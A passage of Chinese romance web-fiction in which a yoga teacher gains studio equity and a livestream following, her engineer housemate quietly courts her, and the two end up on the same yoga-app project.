“方工啊，”张妮叫了方寒一声，把一块慕斯蛋糕和一杯鲜榨橙汁放在他面前，笑着道，“你师哥说你不喜欢吃汉堡咖啡，你吃这个。” “谢谢嫂子。”方寒放下工作，插上吸管，打开了蛋糕，吃了一口。 他不喜欢吃甜食，但今天的蛋糕不错，口感绵密，奶香味浓郁。 “我跟你说——” 张妮一开口，方寒握着勺子的手指稍微用力，还要装作若无其事的样子，“嫂子你说。” “我问过雯雯老师了，她没打算谈恋爱，一心都扑在事业上，实在也是忙得很。这件事就这么算了，你心里不要有负担了。”张妮说完笑着道，“这样也好，省得你师哥一天到晚在我耳边叨叨叨，说我为难你。” “你别放心上了啊，现在的确是事业更重要，说不定以后就自然而然遇到很合适又喜欢的人。你工作吧，嫂子不打扰你了。” 张妮后续还说了好多话，方寒一句都没听进去，期盼已久的一颗心徐徐下沉。 口里的蛋糕倏然变得一点都不香，他慢慢放到一边。 按道理说，高雯拒绝了陌生人的见面，应该是一件好事，方寒这么安慰自己。 但她不打算谈恋爱？这算一件好事还是一件坏事？ 方寒看着电脑上的代码，调整呼吸。 算了。 他还是赶紧完成工作，一会还要回去聚餐，说好了一会做火锅和烤肉，他想去买点高雯喜欢吃的野生虾，做个白灼虾好了。 放在一侧的手机亮起。 方寒看到是高雯发来的消息，快速拿过来看。 瞧见消息的内容，方寒脸上失落的脸色难以克制。 高雯：【学长，不好意思啊，今天晚上的聚餐要取消了。一会下班后，我要和馆长出去吃个饭，谈一谈后续合作的事情。许菲姐说她临时加班，只能下次了。】 方寒无声叹了一口气，给她回消息：【没事，我正好也要忙工作。】 高雯：【好的，下次一定约！】 方寒：【嗯嗯。】 方寒：【图片】 为了不让高雯有愧疚的心理，方寒还发了个表情包。 结束对话后，方寒看着电脑，工作的效率直接放慢，甚至还有点机械，心情不怎么美妙。 * 语禾瑜伽馆。 除了高雯，张妮和林思悦都有些激动。 这一次的聚餐，的确是徐眉突然通知，而且不是全部人，就只是私底下找了高雯和张妮还有林思悦三人，说是一起去吃个饭，谈一谈后续合作的一些股权问题。 徐眉是个聪明人，她属于瑜伽行业的老人，有一定的经验和人脉，但她很清楚，如今是流量的时代。这一家瑜伽馆如今能这么火热，大部分是靠流量起来的。 流量的巨大价值和变现能力，超乎了许眉的意料，甚至让她颇为震惊，感慨跟不上时代了。 这一波流量全靠高雯，换了其他人根本不行，直接绑定了个人。 既然蛋糕变大了，徐眉知道自己没有制作蛋糕的能力，那么就得把成果拿出来共享，不要指望用高一点的课时费或者那么一点提成，就能留住人。 一不小心，满盘皆输。 这一次聚餐，主要是谈合作，徐眉就在附近找了个有包间的餐厅，方便过去。 包间内，简单寒暄后，徐眉拿出了三份合同，分别给高雯、张妮、还有林思悦。她说得很明白，三份股权是不一样的。 高雯占的比例高一点，其次是张妮，而后是林思悦。 同时，高雯的那个百万粉丝个人视频号，属于她自己，和语禾瑜伽馆没有关系，她可以自己经营。 如果单单靠徐眉，语禾瑜伽馆撑死就是一家普通的瑜伽馆，走高端，有收益，平平无奇，但现在是网红瑜伽馆，名声很响亮，而且在不断吸引优秀的老师，明年可能就要开分店了。 徐眉做出了很大让步，但她不亏。 张妮和林思悦有自知之明，这一波流量她们实属没想到，大家对这个安排都很满意。 “先吃饭吧，合同不着急签，你们先拿回去好好看看，有什么我们还可以再谈。如果有什么不懂的，也可以找个律师咨询。”徐眉说。 几人愉快吃了顿饭。 林思悦最为兴奋，叽叽喳喳说个不停。 饭后。 徐眉率先离开，她事情多，晚上最为繁忙，还有下一场饭局。张妮被她老公接走了，她拿着合同按捺不住激动，和两人道别就走了。 林思悦想叫上高雯一起走，“我哥要来接我了，我得出去等他，高雯姐，你要不要一起走？” 高雯正在接一个会员电话，压低声音道，“你先走，我一会直接从下一个路口就走回去了。” “好吧，拜拜。” “拜拜。” 高雯和客户打完电话，去了个洗手间，出来再往外走。 她沿着路，走得很慢，随意翻了翻手上的合同。 说实话，她自己都没想到，在这一行，她这么快就拿到了结果。 徐眉给的条件很丰厚，而且，刚刚在吃饭的时候，对方还说了上一次网暴的事情，梵盈瑜伽馆的馆长被带走调查了，据说都认了，事情发酵大，估计是要吃牢狱官司。 徐眉请了律师，提出索赔三百多万，但实际上拿不到那么多，估计也有百万，到时候，除去律师费和相关费用，剩下的钱会给高雯，毕竟她的确承受最多。 相比于前一世，那点网暴不算什么，说实话，高雯觉得还好，倒是赔偿像一笔巨款，还有许眉给的分成，按照她这样上班的频率，收入是相当可观。 有一种一下子从拮据，变成暴富？ 高雯抬头，看着不远处灯火通明的小区，以前她觉得遥不可及的东西，或许，靠着自己的努力，还真能拼一拼。 想到此，高雯眼底染上笑意，步伐都轻快起来。 等着吧！ 等过几年，她就会住上宽敞明亮，有大大落地窗的房子，靠自己的努力，在这个城市彻底扎根！ 没等高雯继续规划美好未来。 下雨了。 先是几滴小雨，高雯打开书包要拿雨伞，结果没找到。 她快速往前走，想趁着没下大雨回到家。 雨越来越大。 高雯被迫躲到了商铺的屋檐下，躲雨的过程中，她本来想拿包挡在头顶，包里面还有笔记和合同，她只能把包抱在怀里。 初秋的季节，下雨刮风，气温猛降。 高雯拿着手机，着急下单网约车，迟迟约不到，显示正在排队中。 电话响起，高雯一惊喜，以为是网约车司机，结果是方寒。 方寒站在窗边，看着不断下大的雨，语气关切询问：“下雨了，你有伞吗？” “我好像把伞落在瑜伽馆了。”高雯说。 “伞在家，餐桌上。”方寒就是看到这把伞，才着急给她打电话。 “可能是出门就忘了，我这脑子。”高雯说着，打了声喷嚏，她万分无语，“我在外面呢，风特别大。早知道就快点回来，现在都到家了。” “你在哪？我去接你。”方寒说着就准备出门。 “不用，我约到网约车了，师傅正赶过来，马上到。”高雯说着又打了声喷嚏，“不说了不说了，师傅到了，我先挂了。” 方寒挂掉电话后，眉头拧得更紧。 他本来要出门，想了想，又折回来，走进了厨房。 没一会，厨房传来声响。 高雯本来就快到家了，车子不过往前开了几百米，就已经到了。 她打开门，方寒第一时间从厨房出来，他看到高雯头发半湿，鼻尖和眼底都有些泛红，一直在吸气，连忙道：“我煮了生姜葱红糖水，你喝一点，别着凉了。” 高雯还没说话，就打了好几声喷嚏，她摆着手往房间走：“我先去洗个澡，太难受了。” “把温度调高点。”方寒在她身后不放心叮嘱。 高雯想要接话，却再一次连着打了几个喷嚏，眼泪都出来了，她有些气恼：“真是讨厌！呜呜呜——” 方寒望着紧闭的房门，时不时还能听到她不断在打喷嚏，他回到厨房，将煮好的糖水倒出来，端在客厅上放凉，又把小阳台和厨房的窗户都关上，避免有风。 半个小时后，高雯才出来。 她脸色有些憔悴，拖着身子，穿上了厚厚的冬天睡衣。 “穿上袜子吧，保暖一点，不然怕着凉了。”方寒说。 高雯再一次回房，出来时，穿上了袜子。 她坐在餐桌边，带着不吐不快的气愤：“我气死了，那些网约车平台实在过分！我约车的时候，分明显示前面只有几个人，却迟迟都等不到，还要一直加钱，加了两次才给我派单！” “的确过分了。”方寒跟着蹙眉。 “投诉！投诉！那个司机嫌我距离太近，态度也不好！”高雯说着都捏紧拳头，在方寒开口的下一秒又道，“算了，懒得和他计较，听他说，他的压力挺大，估计觉得等这么久，这一单不怎么赚钱吧。” “雨下这么大，刚刚我在小区门口看到一个快递小哥都摔倒了。” 高雯轻声又道：“你上次说我的课排得多，我刚刚就在想，没有风吹日晒，做着自己喜欢的工作，还能有一份稳定可观的收入，就已经很好了。” 她的语气里，是对弱者的怜悯，方寒接话道：“你不能否定自己的辛苦，你很努力很辛苦，所有的收获，都是你应该得到的。” 他柔声说完起身，把放凉的糖水又拿去加热，端出来放在她面前：“喝点，出汗就好了。” 高雯以为是红糖水，喝了一口，五官顿时皱成一团：“这是什么味道？” 方寒：“生姜白葱红糖水，多喝点，预防受凉感冒。” 高雯端着碗，再一次喝了一小口。 她实在不适应这个味道，放下碗道：“我感觉还好吧，也没觉得冷或者头疼，应该不用喝？” “你现在才刚刚受冷，不及时驱寒，明天感冒怎么办？那得拖几天才能好，”方寒又看了眼高雯面前的糖水，“慢慢喝，最少都得喝完这一碗。” 高雯做了很久心理建设，端起碗，又喝了两口。 为了少喝点，她拿出合同和方寒分享：“我们馆长今天叫我们去谈股权的事情，我现在可不是专职老师，我这算不算合伙人啊？” 方寒拿过合同看，诧异于她的进步，由衷恭喜道：“当然算，你这算事业有成，以后前途无量，在这条道路上，你肯定会越走越好，越爬越高。” 方寒夸人的时候，总是带着一股真诚，高雯被他说得心花怒放，笑得弯了眼。 “是不是冷了？”方寒见她迟迟不喝，伸手摸了摸碗，端起来往厨房走，“冷了不好喝，我去加热一下。” 方寒所谓的加热，就是往碗里再倒一点，立刻变得温热。 高雯看着又变多的难喝水，笑意瞬间消失，她埋着头，拿着勺子一点一点小口喝，似乎都要对他有意见了。 方寒看着她问：“需要我帮你找个律师看一下合同吗？” 在他看来，高雯不过是个还没毕业的学生，他也不懂这个方面，还是得找专业的人看看。 高雯抬头，疯狂点头，喝了一大口红糖水：“我需要这么一个人！” 方寒笑：“我的高中同桌正好是律师，和我关系还不错，是B大法学硕士，在大律所就职，我可以让他帮你看看。” “嗯嗯！谢谢学长。” “不客气。”方寒含笑起身，去了一趟房内，很快走出来，在高雯喝完最后一口难喝的水时，打开一瓶彩虹糖盖子，把瓶子伸到她面前斜放。 高雯伸出白皙娇嫩的手心。 方寒的手抖了两下，一颗红糖果落在她手里，她快速往嘴里放。 甜味瞬间冲刷掉口腔里火辣的辛味，高雯眉眼染上愉悦笑意。 * 深夜。 林珩把林思悦送回去后，才把姜舒妍送回家。 一路上，他们两个人听林思悦激动说了一路，还拿着合同亲了好几口，说她现在也是瑜伽馆的合伙人了，虽然占的股份不多，但工资高，五险齐全，还能分红。 她现在也是有自己事业的人，得亏高雯，让她抱上了大腿。 林珩和姜舒妍的心情全然不同，林珩还会为林思悦高兴，也不断惊讶高雯的生长速度，对于姜舒妍来说，林思悦都有自己的事业了，她算什么？她比林思悦大那么多岁，还一事无成。 如今，林思悦一口一个雯雯姐，叫得亲昵，在林珩面前狂夸，让她心里非常不是滋味。 夸奖的话，姜舒妍都说不出口，全程沉默，甚至悄悄捏紧了拳头。 林珩把姜舒妍送到楼下，她迫不及待想下车，生怕露出异样被察觉。 “你先等下。”林珩主动开口。 姜舒妍收回打开门把的手。 林珩打开手机，点了好几下，抬头对姜舒妍道：“我给你转了二十万，你先拿着用，有什么困难再和我说。” “不用，我有钱。”姜舒妍连声拒绝，甚至提声道，“你给我钱做什么？我不需要！” 她最怕林珩看出她的窘迫，这不是她想要的，也不是她一直维持的形象。 林珩脸色未变：“拿着吧。” 姜舒妍处理了那么多奢侈品，近期穿戴很简单，连个名牌包都没了，林珩怎么可能没听到风声。 她缺钱了，具体为什么缺，他不知道。 两家人是世交，关系不错，姜舒妍给林家两老还有林思悦都花过不少钱，也用了不少心思，林珩不能当作没看到，算是帮她一下。 姜舒妍拿着手机就要把钱退出去，可她怎么也下不了手。 她缺钱，真的很缺。 疯狂带货卖不了多少钱，还被骂，借了不少网贷都快还不上了，每天焦虑得睡不着。 “回去吧，早点睡。”林珩说。 姜舒妍下车后没关门，对林珩有些请求道：“阿珩，思悦都去上班了，我一个人很闲，要不，我去你公司上班吧？积累经验，也充实生活。” 这些都不是目的，这段时间发生的事情，让姜舒妍很心慌。 她不能失去林珩，无论如何一定要把握住他！ 第30章 第30章 特聘项目顾问 高雯和徐眉的合同签得顺利, 更加激发了她工作热情，超有干劲。 她现在的课一挂上就抢完，导致很多老会员都没法上课, 所以, 馆里就上线了直播。 高雯每天早上的七点半到八点半，会上一节大课, 全程直播，网友可以跟着练。 她深知如今是流量市场，流量就是巨大价值, 来得快消得也快，必须靠其专业和真诚, 才能打动网友。 为了显得更专业，高雯备课在备课前, 都会考虑很多, 资料更是反复翻阅, 想尽自己最大努力，更受大家欢迎和认可。 结果是万万没想到, 率先火起来的, 居然是她身上穿的那几套瑜伽服。 林思悦兴奋地来找高雯：“雯雯姐，商家来找你带货了！” “带货？”高雯完全没想过要带什么货, 那不是带货主播做的事情吗？ “对啊, 你身上穿的瑜伽服，都在网上卖疯了，店里都开始缺货, 商家来找你带货。”林思悦拿出手机打开给她看，“这一套，还有这一套, 还有这一套，你穿的每一套，都卖疯了！” “好多商家都在后台联系我们，希望你能帮他们带货！” 带货收益高啊。 如今流量这么大，做什么都能变现。 “我是瑜伽老师，又不是什么带货主播，”高雯深知自己要做的事情，她想了想，轻声道，“这样吧，我们馆里常用好用的牌子，如果能谈下比较好的折扣，就卖那些好了，给需要的人也省点钱和免踩坑，剩下的就算了。” 她们所用的辅具和穿的衣服，自然是筛选留下来的牌子，最有性价比。 “好的，我这就去谈！”林思悦转身，蹦蹦跳跳走了，脑袋后的小辫子一晃一晃，进办公室前，她还探出头，冲高雯喊了一句，“雯雯姐！” 高雯回头。 林思悦露出大大的微笑，做了个手势：“加油！” 她最近是走路都带风。 从小到大，林思悦就被林珩的优秀笼罩，家里人觉得她是女孩子，也没什么过多期待，她碌碌无为也没关系，不工作不学习也没关系，大家都认为她不需要努力，只需要嫁给好男人。 谁又心甘情愿当个废物呢？ 现在，她从大家都认为的啃老废物，变成前途无量的准毕业生！让人大跌眼镜，林父林母逢人就吹！ “加油。”高雯笑容明艳。 林思悦还 要表白一下：“爱你爱你！” 高雯笑开，觉得她真是个可爱的小姑娘。 林思悦关门后，高雯也往自己的小教室走，等待会员来上课。 她坐在瑜伽垫上休息，方寒发了一条消息：【图片】 高雯点开消息，是徐眉发给方寒的尾款结清页面 她唇角上翘打着字：【方工，辛苦了啊，感谢你为我们瑜伽馆做的贡献，谢谢！】 爆火之后，瑜伽馆的会员激增。 要是之前那个约课程序，都不知道瘫痪几回了。 方寒设计的这个软件，既符合她们的需求，而且很好用。 他的工作效率又高，这么短时间内就定制出来，价格还便宜，徐眉别提多满意，今天才夸了一遍。 方寒看到高雯发来的消息，倒是有些见外了。 不过，她下一秒又发了一个表情包，竖起大拇指。 方寒笑了，打字问她：【今天补上烤肉和火锅，庆祝一下？】 上一次，中断的聚餐，他一直记着。 高雯过了会才回消息：【我问许菲姐了，行！可以安排的！不过，她没空去买菜，我去吧。】 方寒：【一起。】 傍晚。 高雯下完课，出门走到前面的路口处，就能和方寒汇合了。 两人往超市走的时候，她说道：“你在新公司怎么样？还算适应吗？” 方寒换了公司上班后，两人距离就更近了。 不过，她早上要很早起来，也不可能一起过来，倒是晚上，方寒下班后会去健身，偶尔能碰上一起回去。 “挺好的，一切都很顺利。”方寒说。 他从小，就不是一个对物质有高需求的人，把事情做好，领到该领的薪水，对他而言就好了。 可，与高雯接触后，方寒总是在不经意间，会被传染。 看着她在自己热爱的领域闪闪发光，他总觉得自己也应该做点什么，想和她肩并肩，或者说，离得近一点，更有话题一点。 “顺利就很好啊。” 两人来到超市，方寒走到一旁，推出最大的购物车。 他清楚高雯，一来到超市，她就要控制不住购物了。 果不其然，高雯开始左看右看，觉得有趣的，不断往购物车放。 方寒则只对食材有兴趣。 来到蔬菜区，方寒更是要好好挑选。 高雯除了上面的价格和名字，什么都看不懂，她左看看，右看看：“我去看看有什么牛奶或者饮料，买几瓶尝尝。” “去吧，”方寒温声说，他正在挑选带泥的胡萝卜，那双修长圆润的手指上，都染上了清香的泥土。 高雯走后，方寒继续低头挑选，他模样认真，做任何事都带着专注。 选了两根胡萝卜后，方寒又在挑选洋葱，排骨蒸芋头似乎也是一道不错的菜，明天周末，不知道高雯想不想吃，如果不想吃的话，蒸芋头也是不错的粗粮。 方寒看着大大的芋头，拿起来一个，正在翻看。 察觉到身边有人，他嘴角扬起，刚要开口问她买了什么，来人就弯着身子，直勾勾盯着方寒，来了一句：“方工？” 方寒当真是被吓了一跳，脸上的笑意都僵硬住。 “你还自己做饭啊？”张妮看着正拿着芋头的方寒，还有购物车里装着的各种东西和调料，有些羡慕又诧异。 “嫂子。”方寒缓过神，神色有些不自然。 “你买这么多东西，一个人吃得完吗？”张妮左顾右盼，下意识问，“你谈恋爱啦？” “没有。”方寒快速否认。 “你那么激动做什么？我又没说你有。”张妮更加好奇，随后笑道，“谈恋爱又没什么不好，大好的年纪，还会做饭，哪个小姑娘这么幸运能和你在一起，多好啊。” 张妮已经完全忘了上次要给方寒介绍高雯的事情。 在她眼里，方寒很好，但高雯同样优秀，很多老会员都想给高雯介绍，一个比一个优质，但高雯现在的确太忙，她都看在眼里。 谈恋爱做什么，当然是一起搞钱啊！她现在还得费心思阻止那群热情的老阿姨。 她现在都觉得自己结婚生子早了，影响事业！ 方寒看到不远处正要走来的高雯时候，心都提到嗓子眼，连忙否认：“嫂子，我没有。” “那就是有喜欢的人了呗，”张妮拿起购物车中的薯片和奶片，眼神带着破案的犀利，“难不成这些是你吃的啊？你这购物车里，除了做饭的食材调料，都是女孩子爱买的零食！” 方寒后背冒汗，简直想当场扭头就走。 他的不对劲还被张妮发现了，她一下回头：“哪个小姑娘，我看看呗？” 方寒：“” 所幸，在张妮回头时，高雯看着牛奶又折回去了。 方寒的心情就像是在坐过山车，真是刺激，他再次否认：“嫂子，我没有。” “没有什么？没有喜欢的人啊？还是没有女朋友？”张妮什么都没看到，又回头看向方寒，低头看着他买的食材，“可以啊，买这么多，能做不少好吃的！” 方寒拿着他的大芋头很沉默。 “行了，我不逗你了。”张妮笑得很开心，“我先走了，祝你早日成功。” 一看方寒那个忐忑紧张傻样，她就知道肯定是还没在一起，要真在一起了，按照他的性子，绝不可能藏着掖着，肯定会大大方方介绍。 方寒一路盯着张妮下扶梯，一颗心那叫一个绷着，都快断了。 他刚扭头，就看到高雯不知道什么时候走回来，她手上拎着一瓶牛奶和饮料，黑白分明又清润的美眸正看着他。 方寒握着购物车的手收紧，不知道该摆出什么表情。 “学长，这里很热吗？”高雯问。 “不热啊。”方寒摇头。 生鲜区都打着冷气，怎么会热？ “你的额头都是汗。”高雯疑惑不解。 方寒连忙抬手要擦：“今天穿的衣服太厚了。” 他自认为这句话是很好的解释，因为他穿着白色的短袖，还外搭了一条浅蓝衬衫。 “我有纸巾。”高雯从包里拿出纸巾递给他，又拿起刚刚买的牛奶饮料，笑得明媚，“我刚刚在那边看到这个牛奶和饮料在做活动，半价！日期也新鲜，就买这个好了。” “怒省几十！” “好。”方寒点头。 高雯把牛奶和饮料放在购物车里，还有些小开心：“我觉得我已经学会精打细算了，毕竟赚钱不易。” “一瓶牛奶和一瓶饮料就省了几十块，很厉害。”方寒给予肯定。 从他们身边走过的一对夫妻，看着他们堆得满满的购物车，对视一眼，眼神很复杂。 要是真精打细算，根本就不会买这么贵的进口牌子好吗？！ 平日里，方寒去超市购物，都会算着来。 一般都不会买超出使用范围过多的食材，避免造成浪费。 他今天可能有些心不在焉，一路挑拣，两人最后买了两大车，都拿不回来，还是超市送货上门。 回来的路上。 高雯看到一个背着孩子在卖鲜花的女人。 “美女，买束花吗？”女人笑得热情问。 高雯停下脚步，“我挑几束吧，这段时间忙，的确是很久没买了。” “你挑，随便挑，真要的话，还能便宜一点。”女人放下桶，拼命在介绍。 她肩上的孩子戴着口罩，咳嗽了两声。 女人下意识往后退，伸手往后拍，在哄孩子。 高雯眼神闪了闪。 若不是生活所迫，谁又愿意在晚上天气正凉的时候，带着还在生病的孩子出来讨生活呢。 鲜花量不多，也就装着半桶，高雯全买了。 “我给你打个折。”女人感激说。 “好啊，早点回去休息吧。”高雯扫了码，笑着说。 方寒瞥到页面，她还是如实付了。 “真香真好看！还便宜！”高雯捧着一大束鲜花，眉眼弯弯，步伐轻快往回走，还要催促方寒，“学长，走快一些吧，我肚子都饿啦！” “好。”方寒眼底盈满笑意，快步跟上她。 * 许菲回来看到一桌子食材，旁边的两个架子都摆满了，方寒还在里面炒菜，她眼睛瞪圆：“你们这是买了多少东西啊？” 说起这个，方寒才有点回神，他选择装傻，继续在厨房忙活。 最后因为食材实在太多，为了避免浪费，许菲都厚着脸皮，把那位很少露面的室友何大哥叫出来，一起吃个饭。 何大哥因盛情难却，还是出来了。 这算是他们这四个人，第一次聚在一起。 方寒和高雯算是后来才搬进来，何大哥和许菲，在这间房子住了三年，还真没一起吃过饭，顶多打声招呼。 但没关系，许菲找了几瓶啤酒，何大哥是干工程的，时常喝酒应酬，三杯酒下肚，彼此关系一下拉近不少，加上许菲还算多言，氛围还不错。 方寒不喝酒，他默默充当“服务员”的角色，甚至为了给高雯夹菜肉和倒牛奶饮料，贴心给桌上其余三人都这么做。 很公平，没人起疑。 这对高雯来说，倒也算一场奇妙的体验。 大学几年里，她都没和室友聚过餐，因为她每天都有很多事情要忙，总觉得这是浪费时间的事情。 适当的“浪费”时间，也是人生的另一种体验。 饭后是许菲和何大哥一起收拾残局，用他们的话来说，总不能白吃白喝。 高雯率先回了房，她现在每天洗完澡，就会在个人视频号上开直播，聊一聊瑜伽知识，答疑解惑，顺便在护肤，分享她的护肤经验。 每天都有几千人看，粉丝很热情。 今晚，高雯洗完澡出来。 在开直播前，她手机收到一条消息。 单单看备注，高雯都没想起来是谁。 一看消息内容，知道了。 就是之前烫卷发的前同事。在公司时，对方和她说话夹枪带棒，不断说她对林珩有意思，看上了林珩的家境，想要靠美貌嫁给本地人，现在居然发消息，说误会她了。 高雯离职后，都把这群人忘记了，但自从她网上爆火后，隔三差五就有一两个联系她，多数是了解瑜伽，想要来上课，不过都被价格劝退了。 哪怕高雯给低价折扣，一节课的费用同样不低，不是普通上班族舍得上的课。 这个前同事倒不是来了解这个，对方在疯狂吐槽最近的“关系户”，新来的实习同事。 还说以前误会高雯了，见证了这个人，才知道什么叫挖空心思，不折手段想要嫁给林珩，简直是逮到机会就要往林珩身边贴，无时无刻都想着宣示主权，眼睛直溜溜盯着她们，生怕她们抢了林珩一样。 办事效率又低，没有眼力见儿，还懒散不勤快，眼里没活。 自从她来了之后，简直是添乱，还把办公室搞得乌烟瘴气。 高雯看着对方的吐槽，微微蹙起眉头。 听说林珩提前升为总监了，怎么会录用这样的一个人？ 直到，对方说那个实习职员叫姜舒妍。 高雯眉头一下舒展。 姜舒妍啊。 这是件好事啊，剧情应该回到了“正轨”，姜舒妍去林珩公司实习，就是两人爱情升温的开始，距离在一起不远了吧？ 祝他们恩恩爱爱，白头偕老，永远和她没有交集。 高雯开播的时候，大家都能感受到她心情不错。 直播间来的人也比平时多，都达到了八千人。 高雯一边护肤一边看弹幕，笑着和大家互动，看到问题都会耐心回答。 比起高雯直播间的热闹，姜舒妍的直播间那叫一个惨淡。 姜舒妍自从去林珩所在的公司实习，非但没有缓解她的经济，反而让她更加拮据缺钱了。 实习工资低，由于上班了，花销还变大，她要吃喝要打扮。 她早就养成花钱大手大脚的习惯，以前是因为姜母去世前给她留的那套大房子出租，还留一些首饰和现金能理财吃点利息，就算不上班，日子都过得滋润。 上一次的事情，已经全把她掏空了。 林珩给她的那二十万，压根撑不了多久，姜舒妍又开始以贷养贷。 她深知这样不对，所以更加拼命想要带货赚钱，几乎每天晚上都在直播卖货。 由于想要快速赚钱，姜舒妍都是选了佣金很高的三无化妆品，一开始还有粉丝买账，后面发现被骗，纷纷差评。 渐渐地，二十万粉的账号，只有几十个人在。 一半的人还在骂： 【不要买她推荐的东西，都是垃圾！】 【关注几年的博主，突然烂掉了，怎么都是卖这种东西？】 【买回来用了烂脸，发了报告没人理会，太不负责任了！】 【拉黑，别买，大家都别上当了！】 【居然退不了，要么付高额邮费，我也是服了，感觉背刺。】 姜舒妍直播了两个小时，一单都没卖出去，看着不断刷屏的差评和讽刺，她再也受不了，中途下播，趴在桌子上痛哭起来。 她是这本书里的女主啊。 这些年，她都过着众星捧月的生活，根本不需要付出多少努力，一切的好运和光环就会偏向她。 现在怎么变成这样了？ 这应该是女配的待遇才对啊，是那些不被剧情偏爱的人才这样！不是她！ 姜舒妍想起了高雯，她在网上搜了搜，发现她也在直播。 距离上次，高雯的粉丝又涨了十五万。 她根本不需要卖东西，就有人不断刷礼物。 高雯对着镜头，正在擦面霜，她把头怼得很近，笑着道：“我没开美颜，就是这样的呀，不推荐护肤品，每个人的肤质不一样，大家可以多尝试，多感受，要选合规的厂家，不要购买任何三无产品，重金属会超标，百害无利。” “多喝水，多睡觉，多运动，少内耗。” 姜舒妍看得更崩溃，她咬着牙想，高雯的下场她知道的。 等着吧，不会有多好！ 深夜。 方寒上床睡下时，翻了个身，把手垫在脑袋下，看着书桌上那几朵康乃馨，鲜花开得正盛，如同他的心情，很美好。 那是高雯给他的，花朵被装在精致的花盆里，带着小精致，与摆放满各种专业书籍的书桌很是不符，却增添了一丝亮色。 就如同她给他的感觉。 高雯，就像他生命里的一道绚丽彩虹，丰富了他的世界。 方寒光想着，眉眼就变得柔和。 她不只是给他送了鲜花，其他两人也有。 高雯是个很有生活情调的人，她心情好的时候，总会买几束鲜花拿回来养着，会在她的房间放一束，在客厅餐桌上放一束，如果有多余的，就会给许菲一束。 今天是因为实在太多，客厅放了，高雯的房间放了，洗手间的台面上也放了，许菲也有了，方寒和何大哥，每个人也分了几束。 饶是这样，方寒看着那几束花，眉梢再次荡开笑意。 在花的旁边，还放着几盒巧克力，高雯上次拿回来给他的，他没舍得吃。 方寒有些睡不着，他坐起来倚靠在床边，拿起床头的书开始看，书的封面上写着：《摄影构图艺术》 这是他最近钻研的新方向，已经取得很大进步，被高雯夸了，但她就是太忙太忙，导致他们最近能相处的时间，实在是少得可怜。 翌日。 方寒刚来到工位，他看了看手机，今天早上给高雯发的消息，她还没回。 估计又得忙到不知道什么时候才回。 方寒叹气，坐在工位上打开电脑。 顾书杰突然来到方寒身边，对他道：“之前谈的那个《AI瑜伽教练》项目要研发了，你来当负责人啊。这个项目简单，你上上手。” “嗯。”方寒随口点头。 “对了，我让你嫂子找了她们瑜伽馆那个正在爆火的雯雯老师当特聘项目顾问，到时候你对接一下，有什么问题可以沟通，我一会给你发联系方式。”顾书杰说完，拍了拍方寒的肩膀走了。 30-40 第31章 第31章 学长，合作愉快哦。 顾书杰说的话信息量太大, 方寒都还未震惊回神，对方就推来微信名片。 看着再熟悉不过的头像，方寒的心跳再次加速, 他握着键盘的手指收紧到微微泛白, 还陡然升起了一股无措焦虑。 顾书杰又发来消息：【这件事你全程负责，我要避嫌, 怕你嫂子多想。】 方寒慢半拍回他：【嗯。】 他回完，顾书杰那边又甩过来项目文件，就没声了。 方寒点开文件, 就是一个智能瑜伽APP的研发，他们负责研发, 但还需要一个专业的人，负责课程体系设计和专业安全审核。毫无疑问, 高雯是最佳人选, 她足够专业, 现在风头也大盛。 方寒点开和高雯的聊天页面，一行字, 他打打删删, 想要和她说这件事。 久久未平静下来的心情，在告诉他, 他有多激动。 编辑好的文字, 迟迟没发出去，方寒盯着屏幕发呆， “方工！过来一下。” 同事喊了方寒一声, 他手一抖，把消息发了出去，吓了他一大跳, 连忙点撤回，站起身来，收起手机往那头走。 投身到工作中的方寒，还算恢复了正常。 等他忙完，已经是中午十二点。 方寒掏出手机，看到高雯回了消息，快速点开。 高雯：【我这几天都比较忙，回去会很晚，论文的事情得搁置一段时间了。】 她回完这条消息，看到方寒撤回过一条消息：【你撤回了什么见不得人的东西？】 这条消息后，她还发了一张图片，上面也是这句话，明显是开玩笑的调侃。 方寒嘴角上翘，手指飞快在打字：【没什么，有错别字。】 高雯很快回了：【好的，我吃好饭了，要趴着小憩一会，不然下午犯困。】 方寒听到高雯要休息了，就没继续再聊。 接下来的两天，高雯的确忙得不见人影，方寒特意在客厅办公，才会在很晚的时候看到她拖着疲惫的步伐回来，拖拉着沉重的眼皮，有气无力抬手和他打了声招呼：“学长晚上好，我去睡了。 ” 话音未落，她就进屋关门了。 方寒早上起来看到高雯，她正匆匆往外走，精力还算充沛，期间打了声招呼：“学长早上好呀。” “早上好，吃早餐吗？我煮了——” “不了，我接了个兼职，下午还得抽出时间去忙，现在要赶着去上课。”高雯说着脚步没停，往门口走，“拜拜！” “砰——”门关上。 方寒刚热好的牛奶都没来得及拿给她。 他只能端起来自己喝了。 刚喝完，工作群传来消息。 顾书杰：【《AI瑜伽教练》这个项目下午开启动会，@方寒做好准备。雯雯老师会来，时间比较紧，该交流的该请教的，尽量提前准备。】 方寒看到顾书杰发来的消息，他也不吃早餐了，收拾收拾就往公司赶。 整整一个早上，方寒都在准备资料，做演示文稿，在心里默默排演。 这些东西，他这段时间都在陆陆续续准备，就是怕对接的时候，在高雯面前显得不够专业，让她笑话。 但无论怎么准备，好像都觉得不够。 顾书杰说高雯两点钟二十分左右来，他们两点半开会。 方寒中午都没午休，顾书杰看到他这么努力，走过来劝道：“别有什么压力，你的能力摆在那，和平常一样就行。” “嗯。” “这不算什么大项目，就是给你练手。”顾书杰见他神色完全没放松，再一次苦口婆心说，“之后我负责对外接业务，你负责技术研发。” 方寒刚要接话，门口就传来骚动，行政女职员走进来提高声调道：“哇，那个雯雯老师来了，真人比视频上还好看，又瘦又白，而且很有气质，真的是优雅啊！！！” 软件创业公司，大多数都是技术宅男，众人一听到这话，眼睛都放光了。 一个个伸长脖子往前探。 方寒见此，合上手中的资料，起身就往外走去。 他这几天纠结的点，其中就有一个，不知道该向大家怎么介绍他们的关系，现在看来，让大家知道他们早就认识了，也并非坏事。 方寒紧抿薄唇，快步往外走，他的手心渗出细汗，满脑子都在想高雯见到他会不会诧异惊讶。 她又会做出什么样的神情？会不会因此放松些？ 等到了招待厅，高雯身边已经围着三个男同事，几人相处交流非常热情，方寒瞧见后，神色一愣。 “老熟人，我学妹。”产品管理部的陈阳满脸堆笑，“我们之前在一个社团待过。” “我们是在外面兼职认识的，在一家教育机构吧？”运维部的姚展明说着指了指旁边的搭档，“当时王伟辞职比较快，我又接着兼职一个学期，和学妹相处很愉快。” “对，姚学长帮了我很多，还给我介绍了几位家长，后来我单独去帮小朋友补课，课时费多了不少。”高雯话语带着感激。 “你们都认识啊？”顾书杰出言，几人齐齐往他那边看过来。 